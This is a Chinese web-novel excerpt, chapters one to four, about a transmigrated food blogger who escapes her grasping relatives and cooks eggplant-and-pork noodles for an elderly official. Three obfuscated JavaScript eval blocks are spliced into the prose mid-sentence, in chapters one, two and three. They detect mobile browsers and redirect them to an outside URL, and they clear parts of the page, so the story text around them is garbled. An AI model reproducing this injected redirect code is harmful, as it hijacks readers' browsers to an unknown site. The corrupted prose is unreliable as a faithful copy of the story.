《我在古代打造美食街》 1. 美食系统 夏日炎炎，院中也因下人的疏忽，多了止不住的蝉鸣，让本就燥热的午后更添几分烦躁。 白景躺在床上，额头渗出点点汗珠，屋内冰鉴里的冰早就化成了水，却没了往日殷勤更换的人。 “石青，给我上杯梅子饮。” 用帕子勉强擦去脸上的汗珠，白景有气无力地叫了贴身丫鬟，但谁知往常一有动静就忙不迭进来照看的人半天也没见踪影。 又扯着嗓子喊了一会儿，门“咣当”一声被粗暴地推开，一个熟悉又陌生的丫鬟扭着腰走了进来。 “浅翠？”白景见到行为打扮明显张扬许多的大丫鬟，不由得眉头微皱，“石青呢？” 被唤作浅翠的丫鬟毫不客气地一屁股坐在了床边，丝毫没有往日的恭敬。 “哎呀，大小姐，您以后呐就别惦记石青了，那贱蹄子不安分爬了少爷的床，被夫人提脚卖了。现在只怕早就被牙婆送进了什么见不得人的地方呢。”浅翠说着还忍不住抬手掩唇，模仿着白景往日的习惯故作端雅，却不知画虎不成反类犬，端方没学到却显出了十二分的刻薄。 白景勉强爬起来，捂着口低咳几声，纤细的手指死死箍住她的手腕，眼神凶狠似要将她吞吃下去，话几乎是一字一句从牙缝里挤出来：“石青去哪儿了？” 浅翠不过一个丫鬟，哪里见过这样的气势，登时被吓得一骨碌全交代了。 白景得知石青确实被卖给牙婆，但因脸上带伤进不了那见不得人得的地儿，心下也略松了几分。 石青是白家父母还在的时候，亲自从小丫头堆里挑出来的伶俐人儿，又放在大小姐身边精心培养了近十年，就算是在人牙子手里也能称得上上等货，不至于活不下去。 顾虑到现在自身难保的处境，白景没再追问她的下落，只打听到买下她的牙婆姓甚名谁就暂且作罢，预备等有了落脚之地再把人救出来。 浅翠趁着她出神的空隙，忙挣开手腕，连房间也不敢多待，急忙忙就走了出去。 白景听到动静却也没在意，只躺在床上闭目养神，多少节省些力气。 原身夏天怕热，以前白父白母在时对独女也格外疼宠，舍得花大价钱修建了一座临水小楼，作为她夏日避暑之地。 在每年最热的时候，她就会住进这小楼里，小楼独特的构造再配上冬日里存的冰，就能舒舒服服地过一个夏天，以前不知道得了多少小姐妹的羡慕。 但白景深知，这小楼只怕她也住不久了。 两年前，白父为了研制新菜外出收购食材，结果归途中遇到意外，连人带货一起葬身在江心，只留了因病没及时登船的随从仓皇回来报信。 白母身体羸弱，听到消息就晕了过去，之后勉强撑着打理完后事也跟着一病不起。 至于原身，短短几天内就从家庭美满到家破人亡，心神受创再加上连日劳累，晚上受了风寒，断断续续病了一年多就不知不觉地在睡梦中赴了黄泉，再醒来就是穿越而来的‘白景’。 白景捂着胸口，那里萦绕着一股淡淡的不甘，或许她只是不敢奢求太多。 “放心吧，我会达成你的愿望，带着母亲好好活下去。”白景用几不可闻地声音郑重地保证。 话说得慷慨激昂，但现在的情况并不妙。 白父白母夫妻恩爱，仅有白景一女，在仅剩的两个主人也跟着倒下后，白景的伯父一家就打着照料白父后事的旗号住进了白府，之后更是以照顾弟妹和侄女的名义赖在这里不走了。 白家正经的主人近两年没精力理事，又因守孝不好出门交际，这府中的风向就慢慢倒向了占着名分大义也更有“前途”白伯父一家。 之前他们还会装一装，最近似乎得了什么倚仗，连这明面上的待遇都维持不住了。 白景屋子里久未有人更换的冰鉴和被卖的贴身丫鬟就是冰山一角。 “哐当——！” 随着一声巨响，房门再次被用力推开，紧接着是一阵杂乱的脚步声由远及近。 白景闭着眼睛都能猜到是谁来了。 “三妹妹怎么还在这里躺着呢，谁家女郎这么懒，日上三竿还不起来给长辈请安。可怜二叔才走了多久，家中女儿的教养就不行了。”尖锐刺耳的女声直直扎进白景的耳朵，让她想忽视都不行。 白景挣开眼睛，冷锐的眼神直直扫过去，让过来耀武扬威的堂姐下意识退了一步。等她反应过来，不由得恼羞成怒，涂着艳红豆蔻指甲戳过来，恨不得直接戳进白景的眼睛里。 “好你个白景，我好心来看望你，你竟然这么骂我，这家里还有我的容身之地吗？”白堂姐自顾自说着，嘴角挑出恶意的弧度，“二叔走商赔了个底朝天，连治丧的钱都是我家出的，要不是爹娘心善，早把你们这两个赔钱货赶出去。” 白堂姐环顾一周，目光贪婪地在白景斜躺的冰丝席上扫过，又滑过床边垂挂的绿丝绦、手边把玩的小玩意儿，眼中带着势在必得。 “三妹妹且在这里再住些时日，至少把病养养好，没得出门时病歪歪地让人说闲话。”说完白堂姐就冷哼一声，趾高气昂地带人走出了房门。 白景打眼看去，跟在她身后的人还有不少熟面孔，都是以前她院中伺候的人。 ——穷图匕见了啊…… 她强撑着坐起来，趁着现在没人，取了发间一支木簪旋开，露出里面藏着的一张银票。白景细细抚摸这张薄薄的银票：没想到竟然真的有用到它的一天。 这是以前白景看了话本子后向往机关，白父为了哄她打造的，本就是玩乐之用，藏不了多少东西，却也够她们母女二人离开白府后找个安身之处。 变故比白景预想的更快，她甚至来不及把行礼收拾好，白堂姐就带着人大摇大摆地来抢屋子了。 哦不，准确地说是借着抢屋子的机会，想把白景物尽其用。 白伯母带着一个穿红着绿的中年女人走了进来，一股廉价刺鼻的胭脂味迅速冲淡小楼里雅致的冷香，冲刺在各个角落，刺激得白景喉头隐隐发痒。 “这就是白大小姐吧，啧啧啧真是好相貌。”那中年女人一走进来就上上下下地打量白景，估量货物让她颇为不适。 白景略侧了侧脸：“伯母？” 原身本就生得极好，白景穿过来后更添了几分亲和之气，如雨后露珠折射的春晖，带着一股清新的暖意。 这低首垂眉间，独特的气质就缓缓淌出，让白堂姐嫉妒又恶意，也让白伯母和中年女人笑意更甚。 白伯母在白景对面的锦凳上坐下，故作关切道：“景娘啊，伯母也是看着你长大的，转眼你就出落得这么好了，若非二叔出了意外，只怕白府的大门都要被提亲的人踏破了。嗳，李家长房那三郎，相貌堂堂，为人体贴，与你年纪相仿，正是良配呢。” 有些人嘴上说着关心，话中却字字句句都在揭人伤疤，若是原来的白景还在，听了这番话只怕又要气病了。 那李家三郎是城中有名的浪荡子，谁不知道他还没成亲就搞出两三个私生子，好人家的女儿没一个愿意沾染的，年纪还比她足足大了十几岁。唯一能说得出口的就是他那给侍郎当小妾的姐姐，勉强给身份撑撑场面。 “伯母若是喜欢，怎么不给堂姐……”白景话还刚一开口，门外就传来一道略显虚弱的冷斥： “李氏，我们家小景的事不用你管，若真有这份闲心，不如想想怎么解决你那个儿子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763923|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的麻烦。” 来人一身素衣，头戴浅色绢花，气度从容淡雅，除了鬓角的丝丝白发几乎挑不出任何毛病，此人正是白家的当家主母莫兰，也就是白景的母亲。 白伯母李氏心里登时一惊，面上也带出几分：“你这话什么意思？” 白母款款几步，走得不急不缓，丝毫看不出一路急行赶来的慌乱，她听了李氏质问，却没回答，反倒转向白景，坐在床边轻柔为了擦去薄汗：“小景，你还记不记得两年前在灯会上捡到的那个小姑娘？” 白景来的时候正是原身病重之时，断断续续病了好些时日，连记忆都没有很好地融合，这时白母提醒后才从记忆中找出这么件事儿来。 她念头一转就对现在的情况猜了个七七八八，便笑着道：“阿娘说的可是那沈家小娘子？那孩子贪玩，要不然也不能走丢了去，幸好遇到咱们。” 母女两一唱一和，成功吸引了李氏的注意。 她急声追问：“你们认识沈家小姐？还对她有恩？！”她眼皮快速眨动，喃喃道，“太好了，天无绝人之路，太好了！” 白景道：“伯母，我与阿娘有些体己话要讲，劳烦您挪几步。” 现在李氏心心念念的全是宝贝儿子有救了，直接无视了叫嚷的女儿，拉着人就急忙退了出去。 直到房门被关上，本就强撑着赶来的白母一下子卸了力气，软软地歪靠在床边。 白景扶着她在床上半躺下，母女俩凑在一起说话。 白母身体还虚弱，几乎是说半句喘两下：“这里是不能待了，接下来我在这里拖着，让福伯送你去乡下躲躲。” 白景没同意：“我怕等我回来，连你也不见了。” 少女微哑的嗓音缓而慢，听不出任何难过之意，却让白母忍不住鼻头一酸，险些掉下泪来。 白景趁着这几天身体好转，对以后也有了简单的规划：“阿娘，我之前曾听父亲提起过，常来咱们家酒楼吃饭的温老大人快告老还乡了。” 白母见她突然提起这事，心头一转就猜到了几分，却还是有些难以置信：“你打算离开京都？” 白景扯了母亲上床躺着，一字一句说着自己的计较。 “从这个月中旬开始，那一家子的态度就急转而下，我估摸着，应当是酒楼里的大小管事都投诚了。” 白母一惊：“酒楼里有你言哥哥在管着，他可是你父亲的传人，还是你的未婚……” 白景打断她：“阿娘，这没影儿的陈年往事就不用再提了。我跟他的事不过是阿爹喝醉了随口胡说，没人当真。” 白母：“那也不能如此，如此……他若真投了那白大，怎么对得起你爹多年的栽培。” 白景垂着眼，嗤笑道：“人走茶凉，哪比得上锦绣前程。” 白母只是之前没有怀疑，现在疑心一起，那丝丝缕缕的痕迹就藏不住了。 府中越来越少的熟面孔，多日没见的管家，还有越发嚣张的白伯父一家。 一桩桩一件件，连起来就是触目惊心的真相。 白母脸色微变，当机立断：“我马上想办法联系温老大人。” 又问，“温老大人退下来后应当是要回南州老家的，你想好在南州怎么立脚了吗？” 白景便道：“父亲曾说，他资助指点过的一个小学徒到南边开了一家酒楼，我们去投奔他。只要缓个几天，我就有办法在南州立足。” 面前只有她可见的透明面板上显示着： 【滴！穿越者白景已抵达小世界，金手指抽取中——】 【滴！金手指抽选完毕，正在安装美食系统】 【滴！美食系统加载成功，完成新手任务后激活】 2. 茄丁卤 记挂着宝贝儿子的事，李氏早早就醒了，在房中磨磨蹭蹭拖到天光大亮，自觉给的时间已经够久，就带着奴仆婢妾大摇大摆地往小楼而去。 心腹陪房在一旁扶着她，见主人烦躁，忙宽慰道：“夫人，如今寄人篱下的是她们。景姐儿的婚事就捏在您手里，谅那莫氏也不敢再跟您耍花招。咱们少爷吉人自有天相，您啊，就放宽心吧。” 李氏略抚了抚鬓角的步摇，垂落的流苏上坠着宝石，晃得她心里发慌：“本夫人就这么一个命根子，尘埃落定之前，让本夫人如何安心。” 心腹得了个没趣，也不敢在多嘴，只低头垂手地给她引路。 还没走到小楼，就有仆人连滚带爬的扑过来，嘴里直喊：“不好了，不好了，夫人小姐不见了！” 心腹深知，李氏一朝得势最在乎面子，仆人这失了体统规矩的表现绝对会让她大怒。 所以还没等她发怒，就先上前一步呵斥：“慌什么慌，天能塌下来吗！夫人小姐好好在这站着呢，说的什么晦气话！” 这仆人是从前就在白府干活的老人，一着急就只记得旧日的称呼，一个劲地喊夫人小姐不见了。 心腹还想再训斥，李氏却已经白了面孔，软着脚往小楼里跑。 * 白府里兵荒马乱，但白景一行却已经顺利离开，抵达与温老大人约好的地点。 城东码头，人群如织，不少人大包小包地等着开船，挤得几乎没处下脚。 等白景登上船的时候，衣摆也皱了，袖口也脏了，整个人显得颇为狼狈。 进船舱换上干净的衣裳，白母带着白景去主舱拜访主人，身边还跟着赎回来的管家福伯。 可惜石青已经被南边的走商买走，不知还有没有相见之日。 心中的担忧一晃而过，白景收敛心神向对面行礼。 “温老，这次麻烦您了。” 温老大人是一个长相和蔼留着花白胡子的老人，对于此事只摆摆手道：“老夫与百味是多年的老交情了，他英年早逝留下你们母女俩，之前的事我不好插手，但这点小忙还是能搭把手的。” 这话就是在指，白大伯一家吃绝户霸占家产的事了。 这是白家家事，再加上连白父的衣钵传人都歪了屁股，外人就更不好说什么了。要知道，在这个时代摆了香案磕过头奉过拜师茶的徒弟，算是大半个儿子，尤其白父只有独女。 白景知道这个理儿，所以也没跟那帮人多纠缠，几人都能顺顺当当地脱身已属侥幸。 “白家那小子前些日子犯到皇城司手上，没人求情不死也要脱几层皮喽。”温老笑呵呵的，似无意提到。 白景嘴角悄悄一勾又快速压平，顺着话头叹道：“这可如何是好，我堂哥从小没吃什么苦，只怕受不住牢里的大刑，往自个儿头上揽一堆莫须有的罪名。” 温老大人定定的看着白景，指着她大笑三声：“不错不错，你这小姑娘有意思。姑娘家的，就是这样有脾气才不会被欺负。” 白景曲膝一礼，大大方方接了这句夸。 至于堂哥那边，她有说过要请沈家求情吗？ 那天她只是跟母亲聊天时聊到了而已。 在心中敲几下木鱼，佛祖跟我一起笑。 * “几位请慢用。”小厮将食盒里的菜品取出一一摆在食桌上。 “有劳。” 白景客气地道谢，心里却涌出一股股隐秘的抗拒之情。走过去一看，果然是熟悉的清汤寡水。 在心里哀嚎一声，她任命般的拿起筷子，从这道菜移到那道菜，转了一圈也没找到下筷的地方。 白母吃了这几日也是有些苦色，即便在白府失势那几个月，也没吃在吃食上被亏待过。但现在他们寄人篱下，主人家好吃好喝地供着，总不好再多加挑剔。 “忍忍吧，人总得吃饭。” 白景也知道目前的形势，勉强逼自己夹了几筷子，饭扒了几大口，菜却只挑了一小片叶梗，跟纯吃白饭也没差了。 但饶是这样，依旧压不住那油腻又寡淡的味道。 温老大人请的这厨师真是绝了，说他想养生吧，连蔬菜都用荤油炒，说他想添味道吧，每样菜又都这么寡淡。 “难怪老大人跟阿爹关系这么好，吃一口能下饭的不容易啊。” 白母轻斥：“吃你的饭去，嘴上不把门的。” 白景苦着一张脸，狠狠灌了两大杯水，压下隐隐的反胃。 “阿娘~”她撒娇般地拉长声音叫着白母，“我就私下跟你偷偷说，而且这饭菜确实……” 白母本来就是囫囵嚼两下就往下咽，这一耽搁没及时咽下去，嘴里顿时弥漫着油腻厚重的味道，仅有的因饥饿而生出的胃口也全没了。 白景蹭蹭蹭挪到她身旁，压低声音道：“我去厨房整点下饭的料，现在就算是酱油拌饭我也能吃两大碗。” 不等白母回应，她就唤来了等在门口的小厮，问了去厨房的路。 * 白景等人虽说是搭便船的外人，但主人家发了话，下人们便也把他们当正紧客人伺候着。 此时正是饭点，客人却来了厨房，在门口蹲着休息的小学徒连忙站起来，挤了满脸的笑殷勤问候：“白小姐怎么过来了，莫不是饭菜不合胃口？” 白景脸上带着浅浅的笑，天然便带出几分亲和之意，回道：“贵府的大师傅手艺不凡，只是我们苦夏耐不得热，胃口缺了些，便想来厨房找点辣子酱料什么的调调味。” 她的要求不算过分，只是…… 小学徒面露难色：“我们家老太爷年纪大了，大夫说要注意日常保养，那些刺激的油腻的不好克化的，都被移出了菜单。”又压低声音透露，“大老爷亲自盯着，连家中惯用的李师傅都没让带，新聘了擅长清淡菜式的赵师傅。” 这也……太惨了。 白景抿了抿唇，忍不住在心里默默同情一波温老大人。 连口喜欢的都吃不上，这对老饕来说，可比打他骂他都难受。 不过现在最重要的是，船上没辣椒！连最简单的油泼辣子都做不成！ 本来还想着做一碟油泼辣子，拌饭拌面都能吃，每日的膳食就不算太难过，但没想到出师未捷身先死，再多的打算也得倒在没原料上。 她又问：“酱油姜蒜等调料还够用吗？” 前世有句话：只要调料加得好，炒鞋底子都香。 白景是美食博主，半路出家的她基本功一般般，那种要几年十几年练出的硬功夫更是没有，但好歹也是干这行的，各种配方调料没少试验，倒也知道不少简单又美味的酱料。 “有的，这些尽够。”小学徒引了她进去，里头只有几个帮厨在看着锅炉，大师傅早就躲到一边开小灶去了。 白景进来的时候没引起多少注意，这个世界推崇美食，更没有什么君子远庖厨的规矩，贵人们往厨房走一遭是常有的事。 她走到放置各式调料食材的地方，粗粗扫了一眼，心中暗喜：没想到这里的食材还挺全的，应季的蔬菜基本都有。 视线继续在食材中逡巡，脑中快速挑选合适的食方。 不能选主菜，不然就是在打厨房大师傅的脸，路途还长着呢，可不能平白树敌，还是在厨房这等关键地方。 也不能挑费时费力，到底是旁人的地方，开小灶得把握好时间。 突然，一抹紫色跃入眼帘——茄子！ 白景惊喜地走过去，脑子里的备选方案全部推翻，越众而出的是她大学室友很喜欢的一款酱料，或者说面条浇头。 茄丁卤。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763924|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >以茄丁和肉沫炒制而成，还可以根据自己的口味加入土豆番茄等配菜，香浓软滑，不管当面条浇头还是下饭都很好的选择。 最重要的是茄丁卤制作简单，无需珍贵的调料，也不用耗费长久的时间，正适合此时的她。 “劳烦给我那两个茄子，再来根胡萝卜。”至于葱蒜等常用配料，厨房有切好的。 因着天气炎热，白景弃了以前做茄丁卤时惯用的猪油，改取了素油炒制。 “白小姐，小人来吧。”小学徒见她拿起菜刀，忙上前道。 白景拒绝了，自从来到这个时代就没下过厨，正好趁这个机会练练手。 胡萝卜和茄子切成小方块，她切得不算快，动作却流畅自然，显然是个做惯了的熟手。 叨，叨，叨…… 菜刀与砧板接触发出闷闷的轻响。 小学徒近乎入迷地看着她的动作，明明是早就看惯做惯了的活儿，怎么她做起来就这么好看呢？ 他却是不知，前世白景是观赏类美食博主，主打赏心悦目治愈系，好不好吃不一定，就可看性上绝对是一流的。 拇指大小的萝卜丁和茄丁被放入盆中，撒上两勺盐，这一步是为了析出水分，让茄子脱水变软，这样的茄丁放入锅中就会吸满汤汁，变得软滑香嫩，美味加倍。 至于胡萝卜，白景只切了少少一点，主要是用来配色。 在她进行准备工作的时候，小学徒出于一种微妙的心思没有离开。他小心地觑了一眼白景，见她没有赶人的意思，眼中不由得露出强烈的惊喜，更加殷勤地帮忙端盆递调料。 有人习惯用切成小条的五花肉搭配，但白景却更钟爱肉沫，被褐色的酱汁包裹，隐藏在软滑的茄丁间，每一口都能在意想不到的地方吃到Q弹的小肉粒，这种似有似无的惊喜感让她着迷。 一切配料都准备好，灶膛里的火也燃起来了。 素油绕着锅沿倒入，烧至冒烟后加入姜蒜爆香，然后是花椒，浓烈到刺鼻的香味顺着腾起的白雾弥漫开来，也吸引了原本埋头守着灶火的帮厨们。 挤出水分的茄丁和胡萝卜丁被倒入锅中，白景手拿锅铲灵活地翻炒，等茄丁明显变软后再加入一碗刚才调制好的料汁，然后盖上锅盖焖煮。 小学徒见一旁的肉沫还没加进去，忙提醒她。 白景看了眼就在手边的肉沫，笑着解释：“肉沫体量小，熟得快又容易入味，太早加进去会让肉太老，反倒少了那股子鲜嫩。等快出锅时转大火收汁，此时加入肉沫快速翻炒，不仅能最大程度保持肉的嫩滑，还能让每一块茄丁上都裹上汤汁与肉沫。” 小学徒没料到只是一句简单的提醒，竟会换来这么细致的解释。 在白景看来，她只是把网上免费获得的知识再免费分享给另一个人，但在古代，这种菜品中的小心思却是师父与徒弟间口口相传的。 像他这种小学徒要给师父当牛做马好多年，才能摸到一点灶台的边，至于真正得到师父指点，那又是另一番苦熬。 “白小姐，你，我……”小学徒突然弯腰向白景行了一个大礼，语气郑重略带哽咽，“多谢您的指点，大恩大德，小人铭记于心。” 白景一脸懵，见他弯着腰不起来，正想去扶一把，锅盖发出噗噗噗的轻响，这是酱汁渐浓，到了加肉沫的时候了。 “别拜了，只是多试几次就知道的小技巧，不算什么的。”她一边往锅里倒入肉沫，一边吩咐道，“还愣着呢，转大火。” 酱汁在大火翻炒中越来越浓稠，原本微粉的肉沫也裹上了褐色的汤汁，其间点缀着红色的萝卜丁，出锅前再洒一把葱花，这么热热一烫，势不可挡的香味就霸道地占据了整间厨房，又慢慢往外飘去。 隔壁灶台的帮厨们也忍不住频频吸气，伸长脖子往这边看来。 3. 茄丁肉沫盖浇面 主舱房间里，温老大人正对着满桌的食物叹气，筷子转了一圈也没想下手的。 啪！ 温老大人直接把筷子一摔，怒道：“这一天天的，老大那个逆子就是想饿死老夫！” 站在他身旁的老管家扫过满桌寡淡的菜品，无奈地笑笑，只能半哄半劝地安抚他：“老爷，大少爷也是为了您的身体着想，早几年御医就再三叮嘱过，让您不要吃那些大鱼大肉，酒也要少喝。” “大少爷这次也是被您当堂晕倒给吓坏了。” 温老大人也知道儿女的孝心，骂这几句也是被这段时间没滋没味的饭菜给气到了，被管家一劝，再想到儿女的孝顺，气就消了七七八八。 不过，他嫌弃地看向这桌不堪入口的菜肴：“还有多久到下一个渡口？”他也好下船去寻摸点吃食。 老管家回道：“还要三天。” 温老大人：“……” 要是一顿两顿他还能忍一忍，三天，他这是不得不吃了。 复又拿起筷子，这些天他也吃出经验来了，颜色太素的不能选，那多半没滋味，菜品太素的也不能选，那多半是用荤油炒的，腻得慌。 挑了又挑，温老大人勉强选中一道菜，夹起一筷子就埋入饭中，用米饭裹住菜随便嚼了几口就往下咽。 “想不到老夫也这么一天。”温老大人又忍不住叹气，“若是老白还在……都是荤油炒的，他做的就一点也不油腻，清清爽爽的却又带了肉香。” 他越想越怀念，忍不住跟管家叨叨起来：“老白一手调味本事出神入化，我就没见过在此道上胜过他的人。旁人百菜百味就值得称颂，他却能做到一菜百味。我最喜欢的就是他亲自做的各种浇头，一碗热腾腾的面，一勺浇头，那叫一个美啊。可惜……” “老爷，白大师傅……”老管家宽慰的话才刚开了个头，就被温老大人截断。 他狠命地吸吸鼻子，因年老而耷拉下来的眼皮猛地撑开，他扶着饭桌站起来，左闻闻又嗅嗅，惊道：“我闻到了老白的味道！” 管家：“老爷，白大厨已经过身两年多了。” 温老大人原本还不能确定，被他一说反倒更确定了：“绝对是他的手艺，这种混着肉香的清爽，旁人做不出来。” 这么一说，管家倒想起来：“白大厨的家眷搭了咱们家的船，许是他们在借用厨房。” 温老大人暗暗咽了咽口水，都不用人扶了，老胳膊老腿舞出多年未见到的频率，蹭蹭蹭就赶到了厨房。 随着他的靠近，那股熟悉又陌生的香气越发浓郁了。 他掀开厨房的门帘，顺口问候在门外的小厮：“今儿做了什么，香成这样。” 小厮一直在门外等着，哪能知道里面的情况呢。 他忙吸了口口水，没话找话地回道：“是客舱的白小姐进了厨房。” 温老大人也不是真想要个答案，他直接迈步走进去，就看到熟悉的厨房多了个年轻女郎。 她用襻膊挽着袖子，熟练地从面团里切了一块，却没用擀面杖摊平，反倒抓了一把面粉揉成长条，然后捏住两端啪啪啪在案上摔打几下，对折，继续甩，再对折，再甩。 随着她的动作，原本粗短的面团竟成了粗细均匀的面条。 顺手揪下两端的小面团，头也没回地一甩，那刚拉好的面条就落入了一旁的沸水中。片刻后，沸水再次翻滚，带出入水的拉面。白景用笊篱捞出，在一旁的凉水中过了一遍后盛入盘中，再加一勺香气逼人的浇头。 一套动作如行云流水般，轻描淡写间又带着十二分的美感。 不过这落在老饕眼中，只有一个作用： “能吃了吗？” 嗯？！ 白景被这一声惊得回头，却见身后温老先生都快贴到灶台上了，一双眼睛直勾勾地盯着那一碗刚出锅的茄丁盖浇面。 当初她学的是茄丁打卤面，不过经过她这一番魔改，叫茄丁盖浇面或茄丁拌面更贴切。 白景双手交叠行了一礼：“温老。” 温老大人眼睛一直看着那碗面，心不在焉地回应：“都好都好，这什么浇头啊，真香。还有这面，这又是什么新花样？” “这是茄丁肉沫盖浇面，温老要尝尝吗？” 就等着这句话呢。 温老大人得了准话，没有丝毫犹豫直接端起碗，就地找了只凳子坐下来。他接过管家递过来的筷子，在白景的讲解下把面与浇头拌在一起。 等到面条每一寸都裹上香浓的汤汁与肉沫，他就迫不及待地夹起一块茄丁放入口中。 被焖煮过的茄丁香软可口，饱含着丰沛的肉汁，咬一口就有汤汁从里面迸溅出来，猪肉的浓香、奇异的酱香、还有胡萝卜的微甜，三者融合在一起，勾兑出绝顶的美味。 “好！” 温老大人咽下茄丁，就兴奋地大叫了一声。 只是茄丁就如此美味，不知裹了满满料汁的拉面味道如何？ 他夹起一筷子裹着褐色料汁的面条送进嘴里，与寻常的手擀面相比，更多了些劲道，还带着微微弹牙的口感，却绝不会让人有嚼牛筋的艰涩，让他吃一口就停不下来。 “好吃！再来一碗！” 温老大人没一会儿就吃完了一整碗面，已经过了往常八分饱的分量，他却依旧意犹未尽。 老管家伸手接过空碗，示意小厮赶紧拿走：“老爷，已经过量了，再吃就不好克化了。” 温老大人拒绝：“不，老夫还能吃两碗，不，三碗！” 白景前世多多少少也接触过养生的知识，知道此时再吃对身体不好，便也跟着劝道：“温老，您今日若是吃坏了肚子，以后我都没脸再进厨房。” 温老大人听出这话的言外之意，惊喜道：“你晚上还下厨？！” 白景本来只是顺口说一句，为之后再借用厨房提前打个招呼，但温老这话的意思，是她晚上也能继续用厨房？ 中饭做了，晚饭做了，明天继续用厨房也是顺理成章的事。 想到不用再吃那清汤寡水又油腻非常的饭菜，白景忍不住翘起嘴角。 她笑得可甜可甜，自带一股男女老少都喜欢的亲切之意：“您现在先留点肚子，晚上咱们吃点爽口的。” 温老大人眼睛顿时亮了，追问道：“爽口的？凉拌三丝、酸辣藕丁、金玉满堂？这些都是你爹的拿手菜，再没吃到过像他调得这么好的味儿了。” 白景微微垂眸，睫毛轻轻抖动。她连白父的面都没见过，要说感情那是真没多少，只是为人子女，提到刚去世两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763925|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年多的父亲，总不能过于平静。 好在温老大人也知道这话当着人女儿面不适合提，稍稍两句就轻巧地把话题转了回去。 白景便也接了话头：“也是面食的一种，只是我年少时身体不好，基本功练得不扎实，要动刀子的时候还得劳烦几位大哥。” 她这话的意思就是允许其他人在旁边看着了。 一时间，厨房里心思浮动，一个个都忍不住往温老身上瞟，希望他能答应。 其他人的想法，温老大人没注意，但白景的请求他很乐意满足，当场点了两个擅长刀工的帮厨给她。 “多谢温老，”白景对着他曲膝一礼，又转过去向那两位帮厨微微颔首，“等会儿就劳烦两位大哥了。” 能跟在大厨身边打下手，那是多少学厨求也求不来的福气。白景虽瞧着年少，但就冲着今天小露的这一手，本事绝对不低，而且她还不藏私。 哪怕得了一句指点，就能剩下私底下无数跌跌撞撞的摸索。 喜从天降的两人连连摆手：“不敢当不敢当，白姑娘尽管吩咐便是。” 温老大人被拦着没能继续吃，也不乐意留在这里做看得着吃不着的老馋猫，定好晚膳的时间就起身离开。 白景送他出了门，回来又做了三碗拉面，盖上浓稠的茄丁卤，提着食盒回了客舱。 * “可算回来了，怎么去了这么久？”白母见她推门进来，忙起身招呼。 白景把食盒放在一旁，三两下归拢桌上餐盘，清出一片空位来。 “做到一半温老来了，在那儿等他吃了一碗。”她边说边往外端碗，笑着分享好消息，“我跟温老说好了，晚上给他做新吃食。” 白母闻言也是惊喜：“可算是不用再吃这油腻东西，这几日吃得我胃酸胸闷的，难受得紧。” 白景给母亲拉出椅子，又扭头招呼站一旁站着的福伯：“福伯也一起吃吧，我特意做了三碗。” 福伯跟了白父几十年，在白府半是仆人半是亲人，这次白景赎回他之后当场带着他去府衙消了奴籍恢复自由身，只是他放心不下她们，便跟着她们母女二人一同前往南州。 这几天白景强调过好多次，但福伯依旧坚持着往日的习惯，坚决把自个儿当下仆，连吃饭都要拨出菜坐在小凳上吃。 白景深知他们现在基本算是相依为命了，而且她也不习惯这种相处形式，所以几乎是逮到机会就要劝几句。 最终在白景二人的强烈要求下，福伯总算是坐在了饭桌前，虽然只是浅浅坐了半个屁股，但也是重大进步了。 一桩心事解决，白母这才感觉到肚子已经咕咕叫了，三人满足地吃下一整碗盖浇面。除了白景还克制一些，其他二人恨不得连盘子都舔干净。 看着面前只剩薄薄一层酱料沾在碗底，其他的连添色的葱花都被挑出来吃得干干净净，白母不由得脸一红。 见此，白景收起碗筷笑着说：“光盘就是对厨师最大的认可，阿娘能喜欢我高兴还来不及呢。” 把食盒送回厨房，白景还被帮厨小学徒们塞了一壶清热解暑的酸梅汤，细碎的冰在壶中碰撞，发出好听的叮当声。 她炫耀似的在白母眼前晃了一圈： “看，新朋友的礼物。” 4. 爽口凉皮 “几时了？” “申时一刻。” “哦。” “几时了？” “申时二刻。” “怎么才过了一刻钟？”温老瞪了老管家一眼，“肯定是你看错时间了。” 老管家无奈，直接把沙漏搬了过来，上面清楚地显示着时间，正是申时二刻。 温老喝了口常温的酸梅汤，又忍不住念叨：“申时末开饭，申时正总该开始准备了吧。” 老管家附和：“啊对对对，是该开始准备了。” 温老：“现在几时了。” 老管家：……这才几句话的功夫，要多少时间。 心中腹诽但还是老老实实地回答了。 温老又开始叹气了：“老大那个杀千刀的，净给我找麻烦。等到了老家，你找个地儿安置赵师傅，家中的大师傅就另外寻一个吧。” 老管家躬身应下，想到老爷对那白家小姑娘喜欢的紧，便建议道：“老爷何不带那白小娘子回去，虽然缺了些基本功，但那一手调味的功夫明显得了白大厨真传。于厨艺一道也颇有巧思，假以时日未必不能有所成。” 温老斜他一眼：“你个老货，当真没看出来？” 老管家恭敬地垂手而立，回道：“在老奴心里，老爷的需求的才是第一位，至于其他，只能往后稍稍了。” 